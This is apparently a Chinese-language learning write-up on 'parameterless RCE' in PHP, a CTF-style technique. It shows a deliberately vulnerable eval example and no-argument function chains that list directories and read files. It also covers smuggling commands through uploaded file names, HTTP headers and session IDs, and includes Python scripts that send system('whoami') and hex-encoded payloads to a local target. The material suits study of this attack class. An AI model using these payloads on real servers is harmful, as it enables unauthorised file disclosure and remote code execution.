无参数RCE总结及文件读取学习

什么是无参数?

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等。

 

例题:

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

preg_replace替换匹配到的字符为空,W匹配字母、数字和下划线,等价于[^A-Za-z0-9]。(?R)?的意思是递归整个匹配模式。

正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

可以用如下格式

a(b(c()));
a();

文件读取

查看当前目录

方法一:getcwd()

方法二:构造点 .

 

1.localeconv()

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

如何取到这个点呢

相关函数:

current() //返回数组中的当前单元,默认取第一个值
pos()   //current的别名
reset()  //将数组的内部指针指向第一个单元
end()    //将数组的内部指针指向最后一个单元
next()   //将数组中的内部指针向前移动一位

前三个都可以成功打印。

2.chr()

chr(46)就是字符"."

chr(time())
chr(current(localtime(time())))

chr(time()):

chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."

所以使用chr(time()),一个周期必定出现一次"."

chr(current(localtime(time()))):

数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."

 

3.crypt()

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符

print_r(scandir(chr(ord(hebrevc(crypt(time()))))));

strrev(crypt(serialize(array()))) 也可以得到 .

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

也可以设置当前工作路径为根目录,然后遍历此目录

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

4.array_reverse()

以相反的元素顺序返回数组

最后一位,反过来就成为第一位,可以直接用current(pos)读取

show_source(current(array_reverse(scandir(getcwd()))));

如果是倒数第二个我们可以用:

show_source(next(array_reverse(scandir(getcwd()))));

不是数组的最后一个或者倒数第二个

array_flip()交换数组的键和值

array_rand() 从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。

我们用array_rand() 会随机返回一个单元的键,但是我们要的是其值,因此可用先用array_flip()交换数组的键和值,然后再使其随机返回,就有可能读到想要的那个目录。

show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上级目录

方法一:dirname()

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

?code=print_r(scandir(dirname(getcwd())));

方法二:构造".."

print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
next(scandir(chr(ord(hebrevc(crypt(time()))))))

chdir() :改变当前工作目录

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

读取目录的函数

show_source()
highlight_file()
file_get_contents ()
readfile()
readgzfile()

无参数命令执行(RCE)

用其他变量辅佐eval传入参数

$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

getallheaders()

getallheaders()获取全部 HTTP 请求头信息

apache_response_headers() 获得全部 HTTP 响应头信息

这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。

get_defined_vars()

它能获取到以下变量

$_GET
$_POST
$_FILES
$_COOKIE

如何利用file变量进行rce呢?

import requests

files = {
  "system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

session_id()

session_id(): 可以用来获取/设置 当前会话 ID。

session需要使用session_start()开启,然后返回参数给session_id()

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

(PHP5.5 -7.1.9可行)

?code=show_source(session_id(session_start()));

其他版本可考虑用hex2bin() 将十六进制形式的命令还原。

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
    'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

getenv()

getenv() 获取一个环境变量的值(只适用于7.1以后版本)

通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。

 

 

 

参考:https://www.yuque.com/ni4n/blogs/imxg18

https://www.freebuf.com/articles/system/242482.html

 

 

 

 

 

 

 

 

 

 

 

 

原文地址:https://www.cnblogs.com/tac2664/p/14560027.html